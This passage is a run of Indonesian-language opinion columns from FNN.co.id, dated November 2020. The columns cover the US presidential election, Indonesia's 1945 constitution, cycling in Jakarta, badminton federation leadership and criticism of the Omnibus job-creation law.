Tetapi, orang-orang yang bernurani tidak bisa berbuat apa-apa. Nah, apakah Habib pernah berbuat jahat seperti yang dilakukan Joko Tjandra? Sampai-sampai beliau sekarang dibully juga oleh Mahfud MD? Habib tidak pernah merugikan rakyat dan negara sebagaimana JT melakukan korupsi besar. Dan penipuan besar. Jadi, sangatlah mengherankan mengapa Mahfud MD sampai ikut membully Habib. Sampai-sampai dalam wawancara dengan Ade Armando itu dia merasa ringan mengatakan agar Habib mengurus sendiri masalah belia dengan pemerintah Saudi. Padahal, Mahfud tahu bahwa Habib tidak pernah meminta bantuan dari aparat Indonesia. Kelihatannya, Pak Menko tergiring masuk ke ruang yang penuh dengan “udara akal kotor”. Tak terpikirkan mengapa Mahfud yang berintelektualitas tinggi mau menghirup “udara akal kotor” itu. Apakah mungkin Mahfud MD merasa dia akan mendapatkan tempat yang sebaik-baiknya di sisi para penguasa dan para cukong? Wallahu a’lam. Tak salah kalau Anda berkenan menyumbangkan “oksigen akal sehat” kepada Pak Mahfud.[] Penulis adalah Wartawan Senior FNN.co.id

Trump Merasa Menang, Tapi Biden Hampir Pasti Menang

by Asyari Usman Jakarta FNN - Jumat (06/11). Kita awali dari apa itu ‘electoral college vote’ (sebut saja EV) yang sangat menentukan pemenang pilpres Amerika Serikat (AS). EV adalah orang atau kursi yang mewakili pemilih di tiap-tiap negara bagian yang akan memberikan suara mereka kepada pemenang suara terbanyak di negara-negara bagian tsb. Contoh, sekarang ini Joseph “Jo” Biden merebut suara pemilih terbanyak di Kalifornia. Negara bagian ini memiliki 55 EV. Maka, sesuai aturan setempat, kesemua EV Kelifornia menjadi milik Biden. Contoh lain, Donald Trump merebut suara pemilih terbanyak di Teksas. Negara bagian ini memiliki 38 EV. Maka, sesuai aturan setempat, kesemua EV di Teksas menjadi milik Trump. Begitu seterusnya. Pada saat ini, penghitungan suara sudah hampir rampung. Sejauh ini, Biden merebut 253 EV dan Trump mengantungi 214. Jumlah EV untuk 50 negara bagian di AS plus DC (District of Columbia) adalah 538. Dengan demikian, siapa yang merebut 270 EV (lebih setengah) akan terpilih sebagai presiden. Apa yang sedang terjadi sekarang? Jawabannya: sangat mendebarkan, terutama bagi rakyat Amerika. Pilpers 2020 ini sangat kontestatif. Pendukung kedua capres bersemangat tinggi untuk memenangkan calon mereka. Itulah sebabnya “turn out” (jumlah pemilih yang memberikan suara) kali ini tertinggi tinggi sejak 1960. Yaitu, 66.9% dari total 233.7 juta pemilih Trump tampil sangat agresif. Dia merasa bisa menang. Bahkan dia sudah mengklaim kemenangan. Tetapi, Biden hampir pasti menang. Cuma, dia lebih tenang. Biden hanya mengatakan, “Kita bisa menang.” Apa penjelasannya? Biden mungkin tenang karena dia melihat isyarat yang jelas dari penghitungan suara di Michigan dan Wisconsin. Kedua negara bagian ini sudah menghitung 99% suara pemilih. Biden mendapat 2,795,714 suara atau 50.5%. Sedangkan Trump merebut 2,648,818 suara atau 47.9%. Jika Biden diputuskan menang di Michigan dengan 16 EV dan Wisconsin dengan 10 EV, berarti dia memiliki 279 EV. Capres Demokrat ini wajar meyakini kemenangan mengingat 99% suara di kedua negara bagian ini telah dihitung. Selain ‘angin surga’ dari Michigan dan Wisconsin, Biden juga terhibur oleh perkembangan di dua negara bagian lain yakni Arizona dan Nevada. Di Arizona dengan 11 EV, sudah 90% suara dihitung. Biden merebut 1,529,109 atau 50.1% sedangkan Trump mengantungi 1,482,442 atau 48.5%. Di Nevada dengan 6 EV, sudah 80% suara dihitung. Biden mendapat 604,251 suara atau 49.4% sementara Trump kebagian 592,813 suara atau 48.5%. Yang tak kalah menariknya adalah perkembangan di Georgia yang punya 16 EV. Di negara bagian ini, Biden unggul tipis atas Trump. Hanya 1,096 suara. Ini menyebabkan persentase perolehan mereka dibuat sama, yaitu 49.4%-49.4%. Suara yang telah dihitung mencapai 99%. Kalau akhirnya Georgia jauh ke tangan Biden, berarti beliau ini berpotensi merebut 312 EV. Jadi, suasana umum hasil pilpres AS sejauh ini memihak ke Jo Biden. Namun demikian, keputusan akhir kelihatannya masih panjang. Kubu Trump mengajukan gugatan hukum terhadap penghitungan di Michigan dan meminta penghitungan ulang (recount) di Wisconsin. Bisa dipahami sikap keras Trump itu. Sebab, dia juga merasa berpeluang untuk terpilih kembali. Meskipun peluang itu tidak begitu realistis.[] Penulis wartawan senior FNN.co.id

Beberapa Alasan Kenapa Joe Biden Lebih Layak Ketimbang Donald Trump

by Shamsi Ali Dubai FNN - Jumat (06/11). Ini hanya catatan singkat. Rencananya akan dirincikan pada waktunya. Catatan ini juga tidak mengatakan jika Biden itu terbaik bahkan baik. Tapi dalam menilai sesuatu/seseorang Islam memakai penilain “afdholiyah” (terbaik). Di saat tidak ada yang terbaik maka Islam memakai metode “akhaffu ad-dhoraraen” (paling sedikit bahayanya). Keadilan sosial untuk semua (social justice for all). Ini menjadi perbedaan karakter kedua partai besar Amerika; Demokrat dan Republik. Kesetaraan ras bagi semua manusia (racial equality for all people). Di bawah Trump terjadi rasisme, bahkan kekerasan atas nama rasisme di mana-mana. Kesempatan yang sama untuk semua warga Amerika (equal opportunity for all Americans). Orientasi ekonomi Trump yang memihak mereka yang kaya (kapitalis) menyebabkan mereka yang berekonomi menengah ke bawah tercekik. Penguatan ekonomi bagi minoritas (Economic empowerment for minority). Lingkungan rasisme Trump telah berimbas dalam kepada keadilan perekonomian. Imigrasi dan legalisasi para pendatang (Immigration and path to citizenship). Di bawah Trump kesempatan imigrasi hampir ditutup. Ini bertentangan dengan semangat Amerika sebagai negara immigran. Jaminan kesehatan yang bersifat menyeluruh (Universal healthcare). Salah satu usaha keras Trump adalah mencabut Obama Care yang memberikan jaminan kesehatan kepada puluhan juta orang-orang lemah. Jaminan hak-hak minoritas (minority rights protection). Akan terasa jaminan dan proteksi kepada minoritas. Di bawah Trump minoritas langsung atau tidak merasakan marjinalisasi. Kebebasan beragama untuk semua (religious liberty for all). Slogan kebebasan beragama bagi Trump adalah for White Evangelicals dan krtistian radikal lainnya. Kerjasama internasional dan multilateralisme (global partnership and multilateralism). Trump memutuskan hubungan multilateral dengan banyak organisasi internasional. Termasuk di dalamnya WHO, dan lain-lain. Hubungan yang harmonis antar kelompok masyarakt (communal harmonious relations). Trump telah membangun suasana yang memecah belah masyarakat atas banyak dasar. Salah satunya yang paling menonjol adalah perpecahan ras (racial divide). Memperkecil ruang kelompok putih dan golongan kanan yang ekstrim (suppressing the Radical white Supremacy and extremist Rights Wings). Biden dengan tegas mengutuk White Supremacy. Sementara Trump tidak ingin bahkan memuji sebagai patriotik. Isu lingkungan dan perubahan iklim (environmental and climate change issues). Sementara Trump keluar dari Climate Change Paris. Climate change dianggap mitos. Harapan penanganan Covid yang profesional (professional handling of the Covid 19 tragedy). Bangsa Amerika adalah bangsa yang paling besar korban Covid. Salah satunya karena kegagalan pemimpin (leadership failure).Masalah kepribadian dan kepemimpinan (personal and leadership matters). Karakter pribadi Trump yang jauh dari karakter seorang Pemimpin. Khusus untuk Umat Islam Demokrat dalam sejarahnya lebih bersahabat dan membuka ruang yang sama untuk Komunitas Muslim. Akan segera mencabut aturan Trump “Muslim Ban” atau pelarangan orang-orang Islam masuk Amerika. Berkomunikasi langsung dengan Komunitas Muslim selama Kampanye. Berjanji mengikutkan Komunitas Muslim dalam pemerintahan. Berjanji akan lebih terbuka dan fair (imbang) dalam menyikapi isu Timur Tengah.Membangun komunikasi dan kerjasama dengan dunia Islam (bukan memakai/memaksa) berdasar mutual interest (kepentingan bersama). Komunitas Muslim merasakan proteksi sistem (kekuasaan). Minimal Islamophobia akan mendapatkan resistensi sistem. Bukan sebaliknya mendapat pembenaran kekuasaan seperti di zaman Trump. Dan lain-lain yang akan ditambahkan pada masanya. Berbagai keraguan orang tentang Biden, apakah itu karena sejarah perang di Timur Tengah, hubungan dengan China, dan lain-lain akan saya bahas secara detail beberapa hari ke depan. Penulis adalah Imam/Direktur Jamaica Muslim Center dan Presiden Nusantara Foundation

Menepis Pendapat Amien Rais Soal Kembali ke UUD 1945 (Bagian-5)

by Mayjen TNI (Purn.) Prijanto “…… Terutama bagi negara baru dan Negara muda, lebih baik hukum dasar yang tertulis itu hanya memuat aturan-aturan pokok, sedang aturan-aturan yang menyelenggarakan aturan pokok itu diserahkan kepada undang-undang yang lebih mudah caranya membuat, merubah dan mencabut”. (Penjelasan Undang Undang Dasar Negara Republik Indonesia) Jakarta FNN – Jum’at (06/11). Pembatasan. ”Untuk membedakan dan mempermudah, hasil amandemen UUD 1945 dalam artikel ini kita sebut dengan UUD 2002”. Demokrasi mati! Kebebasan terkebiri! Hukum tersakiti! Ada yang diborgol, ada yang tidak. Dari seberang menyahut, mereka langgar UU Informasi dan Transaksi Elektronika (ITE). Mereka mengumbar kebencian dan SARA. Ngapain lu milenial bisanya cuma demo? Hitungan detik disahut, lu lupa ya, jatuhnya Presiden, naiknya Presiden karena demo! Polemik jumlah halaman, ukuran kertas, spasi, besar huruf, jadi kambing hitam sebagai alasan picisan. Mengapa bukan jumlah bab dan pasal yang diinfokan secara intelektual? Kewajiban memberikan dan hak mendapatkan informasi yang benar-benar kabur. Begitulah Itulah kisruh UU Cipta Kerja di bukan Oktober 2020 lalu. Strategic Assessment Bersamaan itu, cerita dari Martial Art Weapon Video tentang kejadian di AS, Hellena mencuri di Pasar Raya, ditangkap polisi, viral di medsos. Hellena mengaku mencuri lima telur karena anaknya beberapa hari belum makan. Alih-alih diborgol, Hellena justru dibawa polisi masuk pasar lagi dan dibelikan makanan untuk keluarganya. Tabayun kepada Chris Komari, aktivis demokrasi yang sudah 40 tahun di Amerika Serikat. Cerita tentang Hellena itu benar adanya, kata Chris. Menceritakan kisruh UU Cipta Kerja dan cerita Hellena di awal artikel ini, tidak bermaksud membahas UU Cipta Kerja. Hanya sebagai ilustrasi masalah HAM saja. Ternyata, bicara HAM tidak hanya sebatas narasi di konstitusi. Ada masalah demokrasi, hak asasi manusia dan hukum, antara narasi dan praktek, ada hal yang sangat penting, walau tidak tertulis. Yakni, moral dan nalar yang harus dimiliki siapa saja, sebagai landasan agar hak itu berdiri di atas kemanusiaan yang adil dan beradab. Kita tahu, banyak LSM asing masuk ke Indonesia. Mereka ikut campur dalam amandemen UUD 1945. Dalih ikut campur mereka, sebagai komitmennya dalam membangun tata negara baru. Yang lebih mengedepankan persamaan, keadilan dan hak asasi manusia. Koalisi Organisasi Non Pemerintah (Ornop) ini memanfaatkannya. Mereka meminta PAH I BP MPR, agar rancangan bab hak asasi manusia disusun lebih detail. Tidak seperti pasal-pasal aslinya, disertai contoh konstitusi negara lain. Sedang Koalisi Perempuan Indonesia meminta soal kepentingan anak, perempuan dan hak afirmatif tercantum dalam bab hak asasi manusia. (Valina S.S, Menyusun Konstitusi Transisi) Patut diduga, bab hak asasi manusia di UUD 2002, mencontoh negara lain. Mengapa mesti mencontoh? Mengapa tidak bangga dengan ‘arsitektur’ konstitusi sendiri? Sedangkan orang Belanda, Spanyol, Itali, Jawa, Minangkabau, Toraja, dan lain-lain itu bangga dengan gaya arsitektur rumah yang mereka miliki sen sendiri. Walaupun berbeda dengan yang lain. Mestinya kita mencontoh Bung Karno yang bangga dengan budaya dan karya sendiri. Bung Karno berani beda dengan Lord Russell di Sidang Umum PBB tahun 1960. “Indonesia tak menganut ajaran Manifesto Komunis ataupun Declaration of Independence. Indonesia hanya punya Pancasila”, kata Bung Karno. Tokoh dunia jarang “membebek”. Karl Marx berani beda dengan John Locke. Spinoza berani beda dengan J. Rousseau, Lenin dan Hegel. Soepomo bersama ‘‘the founding fathers” berani beda dalam meletakkan landasan konstitusi Negara Indonesia Merdeka. Mestinya kita bangga dengan warisan arsitektur konstitusi dengan sistem pemerintahan sendiri. Ternyata, pengusul hanya ingin lebih detail dari pasal aslinya. Artinya, mereka paham kalau UUD 1945 sudah mewadahi hak asasi manusia. Tidak hanya narasi, tetapi juga dalam praktek bernegara. Baca: “Menepis Pendapat Amien Rais (Bagian-4): HAM dan NKRI, Antara Narasi dan Praktek”. (Google). UUD 1945 memang singkat dan “soepel”. Namun, bahasa Indonesia itu kaya akan makna. Narasi Pasal 26 s/d 34 UUD 1945, mengandung hak asasi warga negara. Yang secara moral dan nalar, akan kita temui hak individual di dalamnya. Sehingga bisa dijabarkan ke dalam undang-undang. Pasal 26 UUD 1945 yang mengatur masalah kewarganegaraan. Dijabarkan seperti Pasal 28D ayat 4 UUD 2002, “bahwa setiap orang berhak atas status kewarganegaraan”. Pasal 27 UUD 1945 yang mengatur masalah hak bersamaan kedudukan dalam hukum dan pemerintahan serta berhak atas pekerjaan dan penghidupan yang layak bagi warga negara, memberikan implikasi adanya berbagai macam hak individu. Hak individu itu antara lain, hak hidup, membentuk keluarga, tumbuh dan berkembang, mendapatkan berbagai macam perlindungan, pengakuan, jaminan, kepastian dan perlakuan hukum yang adil. Punya kesempatan sama dalam pemerintahan. Juga memajukan diri dan lain-lain, sebagaimana Pasal 28A, 28B, 28C ayat 2, 28D ayat 1, 2, 3, Pasal 28G, Pasal 28H ayat 1 dan 2, dan Pasal 28I ayat 1, 2, 4, 5 UUD 2002. Pasal 28 UUD 1945 yang mengatur hak kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan, memiliki implikasi adanya hak individu untuk berkomunikasi dan memperoleh informasi, berikut berbagai hal yang melingkupinya, seperti Pasal 28F. Pasal 29 UUD 1945 yang mengatur hak kemerdekaan penduduk memeluk agamanya masing-masing. Pasal ini memiliki implikasi adanya hak individu seperti bebas memeluk agama dan beribadah. Bebas meyakini kepercayaan, dan lain-lain seperti Pasal 28E UUD 2002. Pasal 31 UUD 1945 yang mengatur adanya hak mendapatkan pengajaran. Memiliki implikasi adanya hak individu untuk mengembangkan diri, mendapat pendidikan dan memperoleh manfaat Ilpengtek-Sosbud, dan lain-lain seperti Pasal 28C ayat 1 UUD 2002. Pasal 32 UUD 1945 terkait pemerintah memajukan kebudayaan nasional Indonesia memiliki implikasi adanya hak tentang identitas budaya dan dihormatinya masyarakat tradisional sebagaimana Pasal 28I ayat 3. Pasal 34 UUD 1945, fakir miskin dan anak-anak yang terlantar dipelihara oleh negara memiliki implikasi adanya hak setiap orang atas jaminan sosial yang memungkinkan pengembangan dirinya sebagai manusia bermartabat, dan lain-lain seperti dalam Pasal 28H ayat 3 dan 4 UUD 2002. Dari uraian di atas, tampak bercampur hak asasi warga negara dengan hak asasi individu atau seseorang. Bahkan terkesan duplikasi dan diulang. Sebab, sesungguhnya apa yang dimaksud dalam Pasal 28A s/d 28J UUD 2002, sudah ada di dalam Pasal 26 s/d Pasal 34 UUD 1945. Dengan demikian, jika kita kembali ke UUD 1945, selanjutnya kita sempurnakan dengan adendum. Walau Bab Hak Asasi Manusia hilang, tidaklah masalah. Kalau toh ingin hak asasi individu dinarasikan secara eksplisit, posisinya di dalam undang-undang. Apakah dengan kembali ke UUD 1945, hak asasi rakyat non Parpol seperti TNI, Polri, Forum Guru Besar dan Rektor, perhimpunan Advokat, organisasi guru, buruh, tani, nelayan, pemangku adat dan lain-lain terwadahi? Ya, terwadahi dalam Utusan Golongan dan Utusan Daerah. Dengan demikian, penyaluran aspirasi tidak hanya demo, tetapi bisa secara konstitusional. Rakyat non Parpol yang duduk di MPR diperlukan sebagai penyeimbang tatkala terjadi kolaborasi tidak sehat antara Presiden (eksekutif) dengan DPR (legislatif). UUD 1945 lebih adil dan kedaulatan rakyat lebih nyata, dibanding UUD 2002. Untuk apa ada sepuluh pasal hak asasi manusia di UUD 2002, tetapi kedaulatan rakyat non Parpol tidak punya wadah penyaluran aspirasi? Yakinlah, ajakan kembali ke UUD 1945 untuk disempurnakan dengan adendum, hakikatnya untuk melestarikan nilai-nilai, cita-cita dan tujuan didirikannya Negara Indonesia Merdeka. Semoga bisa dipahami, bermanfaat, dan dikabulkan Tuhan YME. Amin. Penulis adalah Wagub Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Andaikan Trump Menhannya Biden?

by M Rizal Fadillah Bandung FNN – Jum’at 906/11). Perhitungan hasil Pemilihan Presiden (Pilpres) Amerika Serikat hampir final. Hasilnya kemungkinan Donald Trump nyungsep, dan Joe Biden berjaya. Amerika Serikat akan memiliki Presiden baru Joe Biden. Kandidat Partai Demokrat Joe Biden sebelumnya adalah Wakil Presiden Barrack Obama selama dua periode. Dengan kekalahan Trump ini, maka daftar Presiden Amerika Serikat yang menjabat hanya satu periode menjadi bertambah lagi. Yang terakhir adalah Bush senior. Kemenangan Biden menandai bahwa pergiliran kekuasaan antara Partai Republik dengan Partai Demokrat berjalan dengan sangat sehat. Kontrol oposisi cukup efektif. Walaupun Donald Trump ber "wek-wek" soal kecurangan. Namun suksesi dinilai lancar dan konvensional. Pilpres Amerika Serikat bersistem electoral college. Dimana untuk memenangkan kompetisi, kandidat sekurangnya mesti mendapatkan 270 electoral votes dari 538 electoral votes. Sampai sekarang Joe Biden sudah meraup sebanyak 264 electoral votes. Hanya butuh 6 electoral votes lagi. Sementara Trump baru memperoleh 214 electoral votes. Relatif Biden sulit untuk terkejar Trump. Ketika terpilih dahulu, Trump dinilai sebagai figur yang nyeleneh, dan kurang adab. Bahkan tak pantas menjadi Presiden. Karikatur, meme, hingga boneka dibuat untuk menistakan. Di tempat-tempat umum pun boneka Trump ditendang dan dipukul-pukuli. Ada rasa ketidaksukaan publik kepada Trump. Akal sehat sebenarnya tidak menerima kemenangan pengusaha kaya ini. Profilnya digambarkan sebagai Presiden seenaknya. Bahkan sangat kontroversial. Karenanya, sukses Joe Biden menyingkirkan Trump adalah kemenangan akal sehat dari rakyat Amerika. Joe Biden adalah Presiden dengan jenjang karier politik yang sangat jelas. Dunia kadang memunculkan negara dengan Kepala Negara yang tidak diinginkan. Ada yang zalim, mementingkan diri, gemar dengan pencitraan, bodoh hingga badut. Ini kecelakaan politik namanya. Tetapi aksiden seperti ini tidak pernah langgeng. Rakyat akan segera kembali kepada akal sehatnya. Memilih pemimpin yang memang pantas untuk memimpin. Kemenangan Joe Biden pada Pilpres Amerika ini adalah kemenangan akal sehat. Menyingkirkan figur ngotot yang tak mau kalah. Lempar isu curang. Padahal sebagai petahana justru Trump yang potensial untuk melakukan curang. Di tengah proses, malah minta penghentian penghitungan. Lucunya Trump sudah menyampaikan pidato klaim kemenangan. Padahal dia merencanakan untuk membawa masalah Pilpres ke Mahkamah Agung. Sehingga Kepala Biro Amerika media ABC News, David Lipson berseloroh dalam cuitannya tentang tingkah laku Trump "feeling like Indonesian politics rn". Ditanggapi lucu antara lain oleh Ross Tapsel yang membenarkan. Tetapi tidak persis seperti yang terjadi Indonesia katanya. Kecuali jika Trump yang kalah, dan diangkat Joe Bidan menjadi Menteri Pertahanan (Menhan) nantinya. Ini baru benar-benar sama dengan Indonesia,,, he he he. Indonesia memang hebat. Bisa menjadi contoh buat Amerika. Ini mungkin, karena di Indonesia juga pernah terjadi kecelakaan politik. Meskipun demikian, kalaupun ada figur yang memantas mantaskan diri ya dimaklum saja. Karena kita adalah bangsa yang toleran, tidak radikal, mandiri, sabar, cerdas, budiman, pemaaf dan penyayang. Kini Donald Trump sedang berenang di kolam kekalahan. Biru menenggelamkan merah. Suara "wek weknya” masih terdengar gelagapan. Selamat bekerja Joe Biden. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jakarta, Sepeda dan Perubahan Hidup Anda

by Tony Rosyid Jakarta FNN – Jum’at (06/11). Kaki, itu alat transportasi paling sehat. Kalau jarak tempuh hanya 300-500 meter, lebih baik jalan kaki saja. Jantung anda akan sehat. Kalau jantung sehat, mudah-mudahan organ tubuh yang lainnya juga ikut-ikutan sehat. Kalau jarak agak jauh, anda bisa gunakan sepeda. Ini juga olahraga. Jika setiap hari anda ke kantor, ke warung, ketemu teman, ke supermarket-minimarket, ke masjid, atau tempat ibadah lainnya, ke Majlis Ta'lim anda pakai sepeda, ini tidak hanya baik buat anda, tapi juga untuk lingkungan dan masa depan anak cucu anda. Anda bersepeda, itu berarti anda telah ikut mengurangi pencemaran lingkungan akibat asap kendaraan. Itu jika sehari. Sebulan, setahun, 20 tahun? Itu baru anda, kalau ada 1 juta orang ikuti anda? Keren bukan! Anda bersepeda, itu sama dengan dakwah lingkungan. Anda telah mengajak orang untuk menjaga agar Jakarta yang sudah begitu kotor udaranya ini bisa dibersihkan kembali. Dengan begitu, anda akan mewariskan udara segar untuk anak cucu anda di masa depan. Udara untuk anak-cucu kita menjadi bersih dan sehat. Pernahkah anda sadar bahwa indeks kualitas udara di Jakarta itu 269 AQI US. Ini sangat tidak sehat. Polusi udara ini diperkirakan telah mengakibatkan 11.000 kematian di tahun 2020. Kerugian finansial akibat udara yang kotor di Jakarta diperkirakan mencapai U$ 2,900.000.000. Sekitar Rp. 43 triliun lebih. Anda masih tak peduli juga? Belum lagi soal ekonomi. Berapa uang yang anda siapkan setiap harinya untuk bensin, bayar tol, tiket parkir, polisi gopek di setiap tikungan. Apalagi kalau anda kena tilang. Coba anda kalikan sebulan atau setahun. Besar sekali! Seminggu anda beralih ke sepeda, dana yang sedianya untuk bensin, tol, parkir, polisi gopek dan denda tilang bisa anda pakai untuk ajak keluarga makan enak di restoran. Atau ditabung untuk persiapan pulang kampung saat lebaran. Atau anda kumpulin untuk modal usaha setelah setahun. Jangan anggap remeh! Bersepeda bisa merubah hidup anda. Sepeda nggak bakalan makan tempat. Space satu mobil, bisa dipakai untuk parkir puluhan sepeda. Yang pasti, jalanan akan longgar, dan anda telah berjasa mengurangi tingkat kemacetan. Sampai disini, anda, orang-orang yang ke kantor pakai sepeda adalah para pahlawan di jalan raya. Juga pahlawan lingkungan. Ini hanya soal mindset dan pola hidup saja. Hanya butuh kebiasaan. Yang pasti, bersepeda itu hemat dan sehat. Sehat jasmani, dan otak anda juga sehat. Kenapa? Karena anda bakalan mengurangi pencemaran lingkungan, dampak kemacetan dan kebisingan di jalan raya. Ini cara cerdas bertransportasi. Kalau ini dihitung pahala, tentu akan jadi catatan amal yang tidak pernah sia-sia. Sepeda itu alat transportasi. Bukan buat gaya-gayaan. Nggak perlu sepeda sport atau yang harganya mahal. Nggak penting itu. Sepeda bekas dengan harga murah, itu lebih antik dan artistik. Nggak kalah nyamannya dengan sepeda yang mahal. Di sejumlah negara Eropa, pejabat ke kantor naik sepeda itu biasa. Meski pakai jas mewah dan celana mahal. Ini soal pola hidup saja. Beda dengan di Indonesia. Baru pejabat eselan tiga atau empat, gayanya nggak ketulungan. Pakai sopir dan pengawal pribadi. Akibatnya, rawan korupsi. Karena cost hidupnya terlalu tinggi. Pola hidup macam ini yang harus diubah. Di Jakarta ini, telah dibangun jalur khusus sepeda. Panjangnya sekitar 63 kilometer. Belum seberapa dibanding kebutuhan bersepeda bagi warga Jakarta. Tetapi, ini awal yang baik. Ini sudah menjadi bagian dari kampanye hidup sehat dan hemat. Gubernur DKI Jakarta Anies Baswedan terlihat terus mengkampanyekan bersepeda. Pada bagian belakang mobil gubernur DKI ini, selalu saja ada sepeda. Sebelum pandemi, hampir setiap pagi gubernur bersepeda. Sebelum ke baikota, gubernur DKI ini gemar sidak ke ke sejumlah tempat, dan masuk gang-gang perkampungan. Melakukan inspeksi. Kok nggak dikespos? Kenapa nggak bawa kamera? Kalau model kampanye seperti itu sudah sangat konvensional. Sudah kuno! Bahkan konyol lagi! Rakyat sudah paham mana kerja dan mana pencitraan. Anies nampaknya nggak mau ikut-ikutan pencitraan. Kampanye sepeda di Jakarta tampaknya cukup berhasil. Yang ke kantor menggunakan sepeda terus bertambah. Penjualan sepeda di Jakarta naik sampai 1.000 persen. Bahkan saat pandemi, warga Jakarta yang pakai sepeda naik menjadi sepuluh kali lipat. Melihat antusiasme bersepeda yang mulai tumbuh di Jakarta, kita berharap kepada Pemprov DKI. Pertama, menambah jalur sepeda. Tidak saja di jalan protokol, tapi diperluas ke jalur-jalur lain. Kedua, perlu ditingkatkan keamanan dan kenyamanan di jalan buat mereka yang menggunakan sepeda. Ketiga, perlu diperbanyak tempat parkir sepeda, dan pastikan kalau tempat itu safety. Bila perlu, diadakan hari bersepeda. Mungkin sebulan sekali. Bikin pergubnya. Misalnya, setiap tanggal 17, jalur-jalur tertentu di Jakarta hanya boleh untuk sepeda. Bukan weekend, tapi weekday. Orang ke kantor, belanja, ada meeting, atau keperluan apapun, wajib bersepeda di jalur-jalur yang sudah ditentukan. Nggak peduli dia pejabat, anggota DPR, pengusaha atau rakyat. Ini lebih bagus legi kalau diawali oleh para pejabat dan seluruh pegawai di pemprov DKI. Setiap tanggal 17 misalnya, seluruh pegawai pemprov DKI wajib bersepeda. Ini akan jadi sosialisasi yang cukup efektif. Setelah orang dipaksa oleh aturan untuk bersepeda, maka lama kelamaan ia pun akan terbiasa dan nyaman bersepeda. Nah, kalau sepeda sudah jadi alat transportasi mayoritas warga DKI dan sekitarnya, maka udara Jakarta akan bersih kembali dan kemacetan akan berkurang. Untuk 10-20 tahun ke depan, udara Jakarta bisa sejuk kembali, bersamaan dengan pembuatan taman dan penanaman pohon yang lagi masif digalakkan Gubernur Jakarta. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Catatan Munas PBSI 2020

by Rahmi Aries Nova Chairul Tanjung, "Dahlan Iskan Lebih Pelit dari Saya" Jakarta FNN - Jumat (06/11). Bgitu celoteh Chairul Tanjung saat menyerahkan 'kursi' Ketua Umum Persatuan Bulutangkis Suluruh Indonesia (PBSI) kepada Sutiyoso di Musyawarah Nasional(Munas) dadakan pada 2004 lalu. CT (sebutan Chairul Tanjung) memilih mengakhiri masa jabatannya di PBSI lebih cepat satu tahun dari yang seharusnya. Kabarnya, di tiga tahun ia memimpin PBSI kantongnya 'sobek' karena CT harus mengeluarkan Rp 10 miliar dari kocek pribadinya. Belum lagi telinganya 'gatal' karena hampir tiap saat mendapat kritik, terutama dari Icuk Sugiarto via media. "Saya mungkin kuat, tapi istri saya tidak kuat," ceritanya lagi. Singkat cerita akhirnya dipercepatlah Munas pada tahun itu dengan dua kandidat penggantinya Sutiyoso yang saat itu masih menjabat sebagai Gubernur DKI Jakarta dan bos Jawa Pos Grup Dahlan Iskan. Kedua kandidat datang ke kongres, tetapi di last minute, Dahlan menyatakan mengundurkan diri dan Bang Yos (sapaan Sutiyoso) pun terpilih secara aklmasi. CT sendiri terlihat lega dan sumringah dengan mundurnya Dahlan Iskan. Penulis sempat bertanya mengapa CT senang Dahlan mundur? "Dahlan Iskan itu lebih pelit dari saya. Bang Yos lebih pas untuk memimpin PBSI," jelasnya sambil tertawa. Dan Bang Yos pun terpilih secara aklamasi. CT mungkin benar, Ketua Umum PBSI tidak boleh pelit. Harus mau keluar uang dari kantong sendiri. Andai tak ingin keluar uang dari koceknya sendiri, berarti harus lihai mencari dana dari sponsor, donatur, atau apapun namanya karena program pembinaan di cabang ini tidak bisa berhenti dan harusnya semakin maju. Untuk itu, butuh dana yang tidak sedikit. Ketua Umum juga tidak boleh tipis kuping, dan anti kritik. Istilah hari ini jangan "baper" dan harus tahan banting pastinya. Meski media saat ini tidak sekejam di era CT, tetapi sebagai cabang favorit pasti PBSI termasuk cabang yang paling disorot media. Itulah dua kriteria minimal yang harus dimiliki kandidat Ketua Umum PBSI 2020-2024 Agung Firman Sampurna. Sejauh ini pengurus PBSI sudah berusaha menjaga 'marwah' organisasi dengan "budaya aklamasinya". Untuk bisa menjadi Ketua Umum PBSI, tak perlu gaduh. Yang terpenting bisa dapat tokoh yang mau berkorban untuk bulutangkis. Kini tinggal kita tunggu apakah Agung Firman yang juga Ketua BPK mampu membuktikan bahwa ia pantas mengemban tugas memimpin cabang paling berprestasi di negeri ini? Atau ia seperti CT yang memilih mundur di tengah jalan karena "pelit" dan "baper", ha..ha..ha… Daftar Ketua Umum PBSI Rochdi Partaatmadja 1951-1952 Sudirman 1952-1963 Sukamto Sayidiman 1963-1965 Padmo Sumasto 1965-1967(2). Sudirman 1967-1981 Ferry Sonneville 1981-1985 Try Soetrisno 1985-1993 Soerjadi 1993-1997 Subagyo Hadi Siswoyo 1997-20019.Chairul Tanjung 2001-2004 Sutiyoso 2004-2008 Djoko Santoso 2008-2012 Gita Wirjawan 2012-2016 Wiranto 2016-2020 ….? 2020-2024 Penulis adalah Wartawan Senior FNN.co.id.

Beginilah Pemerintah Ndableg & Bebal

by M Rizal Fadillah Bandung FNN – Kamis (05/11) Nomor 11 tahun 2020. Nomor 11 itu diregistrasikan Undang-Undang Omnibus Law Cipta Kerja (Cilaka) yang baru ditandatangani Presiden Jokowi. Akhirnya pemerintah mengabaikan reaksi publik, khususnya buruh, mahasiswa dan pelajar yang mendesak agar Omnibus Law Cipta Kerja untuk dibatalkan atau sekurang-kurangnya ditunda. Tentu sikap "ndableg' atau "bebal" pemerintah atas suara dan desakan rakyat ini akan menimbulkan gelombang aksi berkelanjutan. Ada pula yang mengambil langkah gugatan hukum melalui Mahkamah Konstitusi (MK) meskipun dengan tingkat optimisme yang rendah. Sikap Pemerintahan Jokowi yang "ndableg' atau "bebal" untuk memaksakan kehendak ini merusak asas demokrasi negara Republik Indonesia. Pemerintah tidak mau peduli dengan apapun aspirasi yang datang daru masyarakat. Sekurangnya empat aspek demokrasi telah dilabrak. Pertama, demokrasi politik. Asas kedaulatan rakyat yang diinjak-injak. Kebaikan sosiologis sebuah Undang-Undang yang tidak dipenuhi. Rakyat intens menolak di sana-sini. Namun pemerintah tidak mau mendengar. Apalagi mengabulkan permintaan rakyat. Aspirasi yang tidak diindahkan dan tidak membuka kompromi dengan rakyat. Kedua, demokrasi hukum. Asas kedaulatan hukum sangat dilecehkan pemerintah dan DPR. Cara-cara pengesahan DPR yang cacat serta proses hukum yang tidak lazim dalam pembuatan sebuah undang-undang. Terkesan UU pesanan politik dengan ketergesa-gesaan waktu. Omnibus 